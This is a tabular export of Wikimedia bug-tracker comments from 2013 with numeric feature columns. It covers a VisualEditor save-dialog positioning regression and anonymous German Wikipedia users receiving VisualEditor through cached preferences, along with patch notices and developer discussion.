252298,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,*** Bug 52346 has been marked as a duplicate of this bug. ***,,,1375303552,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52346 has been marked as a duplicate of this bug. ***
252292,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"Whatamidoing's link is to the Polish Wikipedia:
[[pl:Wikipedia:VisualEditor/Opinie#b.C5.82.C4.99dnie_wy.C5.9Bwietlaj.C4.85ce_si.C4.99_okno_opisu_zmian]]",,,1375296594,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,34.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0344827586206895,0.7241379310344828,"Whatamidoing's link is to the Polish Wikipedia:
[[pl:Wikipedia:VisualEditor/Opinie#b.C5.82.C4.99dnie_wy.C5.9Bwietlaj.C4.85ce_si.C4.99_okno_opisu_zmian]]"
252288,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"I have a report of this sort of problem with a misplaced save dialog box appearing in the lower left corner.  The editor is running Linux Mint 14 and Firefox 18.0.2.  See  http://i40.tinypic.com/2eojvh1.jpg and http://i41.tinypic.com/30wqpnb.jpg for his screenshots.

The original problem description can be found at Wikipedia:VisualEditor/Opinie#b.C5.82.C4.99dnie_wy.C5.9Bwietlaj.C4.85ce_si.C4.99_okno_opisu_zmian",,,1375291680,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,24.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.0,9.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,4.651515151515151,0.7878787878787878,"I have a report of this sort of problem with a misplaced save dialog box appearing in the lower left corner.  The editor is running Linux Mint 14 and Firefox 18.0.2.  See  URL and URL for his screenshots.

The original problem description can be found at Wikipedia:VisualEditor/Opinie#b.C5.82.C4.99dnie_wy.C5.9Bwietlaj.C4.85ce_si.C4.99_okno_opisu_zmian"
252282,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"Basically it attaches to whichever toolbar is positioned last. So if you click on a link, and then open the save dialog, it pops up there. If you then scroll down (which updates position of platform toolbar), it moves to that one.",,,1375287482,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,6.0,0.0,4.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,6.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,16.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.78,0.8,"Basically it attaches to whichever toolbar is positioned last. So if you click on a link, and then open the save dialog, it pops up there. If you then scroll down (which updates position of platform toolbar), it moves to that one."
252274,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"Change 76935 had a related patch set uploaded by Krinkle:
ve.ui.Toolbar: Emit position event on toolbar instead of surface

https://gerrit.wikimedia.org/r/76935",,,1375287357,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9615384615384616,"Change 76935 had a related patch set uploaded by Krinkle:
ve.ui.Toolbar: Emit position event on toolbar instead of surface

GERRIT_URL"
252268,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"Renamed.

Removing the link to bug 49969 - the save dialog isn't (yet) an actual dialog, so that would have no effect.

Adding a link to bug 52326 which is possibly caused by the same",,,1375286909,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,7.0,2.0,0.0,19.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,3.511627906976744,0.7906976744186046,"Renamed.

Removing the link to bug 49969 - the save dialog isn't (yet) an actual dialog, so that would have no effect.

Adding a link to bug 52326 which is possibly caused by the same"
252263,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"There is a lot of discussion about this at https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Save_page_box_drops.2C_button_invisible_without_scrolling_..._but_fixes_itself_given_time including two screenshots: [[File:VE save form off screen.png]] and [[File:VE misplaced save box.jpg]]

From my testing it seems that if an element is selected (picture, link, template) when you click save then the dialog aligns itself to the top right of that element, regardless of whether there is space on screen for it, with scroll bars if there isn't sufficient vertical space in the window to show the whole dialog. If you close the dialog, deselect the element then open the save box again it appears in the same place, only based on what that element is in the view now. If you close and select a different element then save, it relates to that element. If you have not selected any elements during your edit it appears overthe save button.

Steps to reproduce:
1. Edit a page in VE
2. Make a change to the page (doesn't matter what)
3. Click on an element (link, image, template) near the lower left edge of the window.
4. Click the save button in the top right.",,,1375280775,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,False,,,4,,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,3.3333333333333335,0.3333333333333333,0.0,0.0,1.6666666666666667,2.0,0.6666666666666666,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,4.0,11.333333333333334,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,5.666666666666667,0.3333333333333333,2.0,0.0,1.6666666666666667,1.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,3.3333333333333335,0.0,0.0,0.0,0.0,0.3333333333333333,13.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.333333333333333,1.6666666666666667,6.0,2.6666666666666665,0.6666666666666666,9.333333333333334,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.6666666666666666,0.0,4.333333333333333,11.333333333333334,3.6666666666666665,0.0,0.0,0.0,4.333333333333333,0.0,1.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,3.0,3.624264624264624,0.6808191808191809,"There is a lot of discussion about this at URL including two screenshots: [[File:VE save form off screen.png]] and [[File:VE misplaced save box.jpg]]

From my testing it seems that if an element is selected (picture, link, template) when you click save then the dialog aligns itself to the top right of that element, regardless of whether there is space on screen for it, with scroll bars if there isn't sufficient vertical space in the window to show the whole dialog. If you close the dialog, deselect the element then open the save box again it appears in the same place, only based on what that element is in the view now. If you close and select a different element then save, it relates to that element. If you have not selected any elements during your edit it appears overthe save button.

Steps to reproduce:
1. Edit a page in VE
2. Make a change to the page (doesn't matter what)
3. Click on an element (link, image, template) near the lower left edge of the window.
4. Click the save button in the top right."
54232,Anonymous users getting VisualEditor on German Wikipedia and making edits,"https://de.wikipedia.org/w/index.php?title=Spezial:Letzte_%C3%84nderungen&limit=500&days=30&hideliu=1&tagfilter=visualeditor

---
29 July 2013

(diff | hist) . . Aurich‎ [pending edits]; 19:40 . . (-1)‎ . . ‎95.165.106.6 (Talk)‎ (→‎Branchen und Unternehmen) (Tag: VisualEditor)
(diff | hist) . . Djihadismus‎; 19:30 . . (-980)‎ . . ‎2a02:908:df31:8700:6861:a2d8:52b6:1392 (Talk)‎ (Tag: VisualEditor)
(diff | hist) . . Thronfolge (Vereinigtes Königreich)‎ [pending edits]; 19:30 . . (-2)‎ . . ‎84.155.202.154 (Talk)‎ (→‎Derzeitige Reihenfolge der Thronfolge) (Tag: VisualEditor)
(diff | hist) . . Lagerungskonzepte‎ [pending edits]; 19:15 . . (+73)‎ . . ‎81.217.18.166 (Talk)‎ (→‎Stützlagerung schwimmend (SLS)) (Tag: VisualEditor)
(diff | hist) . . Andreas Müller (Fußballspieler, 1962)‎; 19:13 . . (+233)‎ . . ‎2.244.238.208 (Talk)‎ (→‎als Funktionär) (Tag: VisualEditor)
(diff | hist) . . Nexus 7‎; 19:12 . . (+4)‎ . . ‎88.130.17.139 (Talk)‎ (→‎Zweite Generation (2013)) (Tag: VisualEditor)
(diff | hist) . . Räumliche Orientierung‎ [pending edits]; 19:09 . . (-55)‎ . . ‎72.89.247.161 (Talk)‎ (für emotionale Betroffenheit lassen sich in der Literatur keine Belege finden.) (Tag: VisualEditor)
(diff | hist) . . Medien (Land)‎; 19:06 . . (+226)‎ . . ‎78.53.45.165 (Talk)‎ (→‎Spekulationen über die Verwandtschaft von Kurden und Medern) (Tag: VisualEditor)
(diff | hist) . . Inka Bause‎; 19:05 . . (+42)‎ . . ‎188.194.150.121 (Talk)‎ (→‎Singles:   ist das liebe 1987) (Tag: VisualEditor)
(diff | hist) . . Mississippi River‎; 19:03 . . (+1)‎ . . ‎77.6.118.157 (Talk)‎ (Tag: VisualEditor)
(diff | hist) . . Geständnisse‎ [pending edits]; 18:54 . . (+1)‎ . . ‎91.39.63.227 (Talk)‎ (→‎Handlung:  Grammatik) (Tag: VisualEditor)
(diff | hist) . . Vojtech Tuka‎; 18:53 . . (-23)‎ . . ‎2003:4d:eb3c:f001:5452:a193:58c6:cc59 (Talk)‎ (→‎Flucht, Prozess und Hinrichtung) (Tag: VisualEditor)

25 July 2013

(diff | hist) . . Lotta Schelin‎; 04:26 . . (+2)‎ . . ‎92.76.236.197 (Talk)‎ (→‎Nationalmannschaft) (Tag: VisualEditor)
---

Anons are editing the German Wikipedia with VisualEditor.

My suspicion is that logged-in users are hitting certain pages, the pages are being cached, and then anons are receiving these cached pages (with the VE init JS loaded).

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52202",Unbreak Now!,100.0,1375120080,1375124710.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-hdwzoxwzxwme4zwudykf,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.16666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.3333333333333333,0.8333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,9.833333333333334,0.16666666666666666,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.1666666666666667,15.666666666666666,0.16666666666666666,0.16666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.16666666666666666,0.8333333333333334,3.6666666666666665,0.0,0.16666666666666666,0.8333333333333334,21.5,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.5,3.557282563462339,0.471431543903454,"URL

---
29 July 2013

(diff | hist) . . Aurich‎ [pending edits]; 19:40 . . (-1)‎ . . ‎95.165.106.6 (Talk)‎ (→‎Branchen und Unternehmen) (Tag: VisualEditor)
(diff | hist) . . Djihadismus‎; 19:30 . . (-980)‎ . . ‎2a02:908:df31:8700:6861:a2d8:52b6:1392 (Talk)‎ (Tag: VisualEditor)
(diff | hist) . . Thronfolge (Vereinigtes Königreich)‎ [pending edits]; 19:30 . . (-2)‎ . . ‎84.155.202.154 (Talk)‎ (→‎Derzeitige Reihenfolge der Thronfolge) (Tag: VisualEditor)
(diff | hist) . . Lagerungskonzepte‎ [pending edits]; 19:15 . . (+73)‎ . . ‎81.217.18.166 (Talk)‎ (→‎Stützlagerung schwimmend (SLS)) (Tag: VisualEditor)
(diff | hist) . . Andreas Müller (Fußballspieler, 1962)‎; 19:13 . . (+233)‎ . . ‎2.244.238.208 (Talk)‎ (→‎als Funktionär) (Tag: VisualEditor)
(diff | hist) . . Nexus 7‎; 19:12 . . (+4)‎ . . ‎88.130.17.139 (Talk)‎ (→‎Zweite Generation (2013)) (Tag: VisualEditor)
(diff | hist) . . Räumliche Orientierung‎ [pending edits]; 19:09 . . (-55)‎ . . ‎72.89.247.161 (Talk)‎ (für emotionale Betroffenheit lassen sich in der Literatur keine Belege finden.) (Tag: VisualEditor)
(diff | hist) . . Medien (Land)‎; 19:06 . . (+226)‎ . . ‎78.53.45.165 (Talk)‎ (→‎Spekulationen über die Verwandtschaft von Kurden und Medern) (Tag: VisualEditor)
(diff | hist) . . Inka Bause‎; 19:05 . . (+42)‎ . . ‎188.194.150.121 (Talk)‎ (→‎Singles:   ist das liebe 1987) (Tag: VisualEditor)
(diff | hist) . . Mississippi River‎; 19:03 . . (+1)‎ . . ‎77.6.118.157 (Talk)‎ (Tag: VisualEditor)
(diff | hist) . . Geständnisse‎ [pending edits]; 18:54 . . (+1)‎ . . ‎91.39.63.227 (Talk)‎ (→‎Handlung:  Grammatik) (Tag: VisualEditor)
(diff | hist) . . Vojtech Tuka‎; 18:53 . . (-23)‎ . . ‎2003:4d:eb3c:f001:5452:a193:58c6:cc59 (Talk)‎ (→‎Flucht, Prozess und Hinrichtung) (Tag: VisualEditor)

25 July 2013

(diff | hist) . . Lotta Schelin‎; 04:26 . . (+2)‎ . . ‎92.76.236.197 (Talk)‎ (→‎Nationalmannschaft) (Tag: VisualEditor)
---

Anons are editing the German Wikipedia with VisualEditor.

My suspicion is that logged-in users are hitting certain pages, the pages are being cached, and then anons are receiving these cached pages (with the VE init JS loaded).

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
247334,Anonymous users getting VisualEditor on German Wikipedia and making edits,"(In reply to comment #7)
> I'm sorry if we were dismissive earlier. When I said ""VE doesn't work the way
> you think it does"", what I meant to say was ""despite the confusing way these
> variables are named, they mean something slightly different, such that one of
> them is unused if the other one is set a certain way"".

I wasn't annoyed with you (and you weren't the person quoted in comment 6). You're wonderful and I adore you.",,,1375156109,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,5.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,18.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,14.0,9.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,0.6590909090909091,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

I wasn't annoyed with you (and you weren't the person quoted in comment 6). You're wonderful and I adore you."
247330,Anonymous users getting VisualEditor on German Wikipedia and making edits,"(In reply to comment #6)
> I'm fairly annoyed that I was told that VisualEditor ""doesn't work the way
> you
> think it does"" this morning and my patch sets were roundly and soundly
> ignored
> (in favor of Gerrit change #76516), only to have the exact changes
> implemented a few hours later after this bug appeared.
Your patchsets weren't ignored, we worked off them. At the time we honestly believed that this was unnecessary, and the code that uses them is written in a way that leads the reader to believe that it is unnecessary: if wmgVisualEditorDefault is false, wmgVisualEditorDisableForAnons is unused.

However, caching threw a wrench in all of this. Two wrongs made a right, if you will.

I'm sorry if we were dismissive earlier. When I said ""VE doesn't work the way you think it does"", what I meant to say was ""despite the confusing way these variables are named, they mean something slightly different, such that one of them is unused if the other one is set a certain way"".",,,1375144061,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,False,,,4,,0.5,0.5,0.0,2.0,1.0,7.0,3.0,0.0,0.0,2.5,2.0,1.5,0.0,0.5,0.0,3.5,0.0,4.0,10.0,0.5,1.5,0.0,0.5,0.0,5.5,0.0,0.0,0.0,0.0,0.5,0.0,8.0,3.0,1.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,3.0,0.0,1.0,1.0,9.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,1.0,0.0,0.5,0.0,1.0,0.0,5.5,6.0,8.5,5.0,0.5,8.0,0.0,0.0,0.0,0.5,2.0,0.0,2.0,0.0,8.5,10.0,3.0,0.0,2.5,0.0,8.5,0.0,2.0,2.0,1.5,0.5,0.5,0.0,0.0,3.7839506172839505,0.6851851851851851,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Your patchsets weren't ignored, we worked off them. At the time we honestly believed that this was unnecessary, and the code that uses them is written in a way that leads the reader to believe that it is unnecessary: if wmgVisualEditorDefault is false, wmgVisualEditorDisableForAnons is unused.

However, caching threw a wrench in all of this. Two wrongs made a right, if you will.

I'm sorry if we were dismissive earlier. When I said ""VE doesn't work the way you think it does"", what I meant to say was ""despite the confusing way these variables are named, they mean something slightly different, such that one of them is unused if the other one is set a certain way""."
247327,Anonymous users getting VisualEditor on German Wikipedia and making edits,"For the record, if my patch set from Gerrit changeset 76199 and Gerrit changeset 76468 had been merged and deployed, this bug never would have happened.

I'm fairly annoyed that I was told that VisualEditor ""doesn't work the way you think it does"" this morning and my patch sets were roundly and soundly ignored (in favor of Gerrit changeset 76516), only to have the exact changes implemented a few hours later after this bug appeared.",,,1375135721,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,2.0,1.0,5.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,1.0,0.0,5.0,0.0,8.0,10.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,3.0,8.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,10.0,5.0,0.0,2.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.160919540229885,0.7471264367816092,"For the record, if my patch set from Gerrit changeset 76199 and Gerrit changeset 76468 had been merged and deployed, this bug never would have happened.

I'm fairly annoyed that I was told that VisualEditor ""doesn't work the way you think it does"" this morning and my patch sets were roundly and soundly ignored (in favor of Gerrit changeset 76516), only to have the exact changes implemented a few hours later after this bug appeared."
247323,Anonymous users getting VisualEditor on German Wikipedia and making edits,"(In reply to comment #4)
> Roan's putting this in place now.
Done. This bug should stop happening in the next ~10 minutes.",,,1375124710,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.25,0.9166666666666666,"(In reply to comment #4)
QUOTE
Done. This bug should stop happening in the next ~10 minutes."
247318,Anonymous users getting VisualEditor on German Wikipedia and making edits,"(In reply to comment #0)
> My suspicion is that logged-in users are hitting certain pages, the pages are
> being cached, and then anons are receiving these cached pages (with the VE
> init
> JS loaded).

We don't mix user preference cache between logged-in users and logged-out users, this is definitely not what's happening.


What's happening is that a while ago the 'visualeditor-enable' preference was enabled by default on de.wikipedia.org. Though it was disabled for anonymous users by other means, that preference was there and as such is cached inside the anonymous user cache that visited pages while VE was enabled by default on de.wikipedia.org.

The 'other' means to disable for anons have been removed now that the preference is disabled again on de.wikipedia (it is now an opt-in for logged-in users). However this other means is not cached inside the page but globally from the startup module.

So people visiting the pages generated while VE was enabled by default are now getting VE since there is no 'disableForAnons' flag in place.

Roan's putting this in place now.",,,1375124287,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,3.5,1.5,4.5,1.5,0.0,0.5,0.0,4.0,3.5,0.0,0.0,0.5,0.5,0.0,7.5,15.0,0.0,1.0,0.0,2.0,0.0,3.0,0.5,0.0,1.0,0.0,0.0,0.5,6.0,1.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.5,0.0,0.5,0.0,19.0,0.5,2.5,0.5,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,4.5,7.0,7.5,3.5,1.5,6.5,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,1.5,15.0,4.0,0.0,3.0,0.0,1.5,0.0,1.5,1.0,0.0,2.5,0.0,0.0,0.0,4.072164948453608,0.6701030927835051,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

We don't mix user preference cache between logged-in users and logged-out users, this is definitely not what's happening.


What's happening is that a while ago the 'visualeditor-enable' preference was enabled by default on de.wikipedia.org. Though it was disabled for anonymous users by other means, that preference was there and as such is cached inside the anonymous user cache that visited pages while VE was enabled by default on de.wikipedia.org.

The 'other' means to disable for anons have been removed now that the preference is disabled again on de.wikipedia (it is now an opt-in for logged-in users). However this other means is not cached inside the page but globally from the startup module.

So people visiting the pages generated while VE was enabled by default are now getting VE since there is no 'disableForAnons' flag in place.

Roan's putting this in place now."
247311,Anonymous users getting VisualEditor on German Wikipedia and making edits,"Change 76552 merged by jenkins-bot:
Explicitly disable VE for anons on dewiki

https://gerrit.wikimedia.org/r/76552",,,1375123842,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.388888888888889,1.0,"Change 76552 merged by jenkins-bot:
Explicitly disable VE for anons on dewiki

GERRIT_URL"
247303,Anonymous users getting VisualEditor on German Wikipedia and making edits,"Change 76552 had a related patch set uploaded by Catrope:
Explicitly disable VE for anons on dewiki

https://gerrit.wikimedia.org/r/76552",,,1375123752,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,1.0,"Change 76552 had a related patch set uploaded by Catrope:
Explicitly disable VE for anons on dewiki

GERRIT_URL"
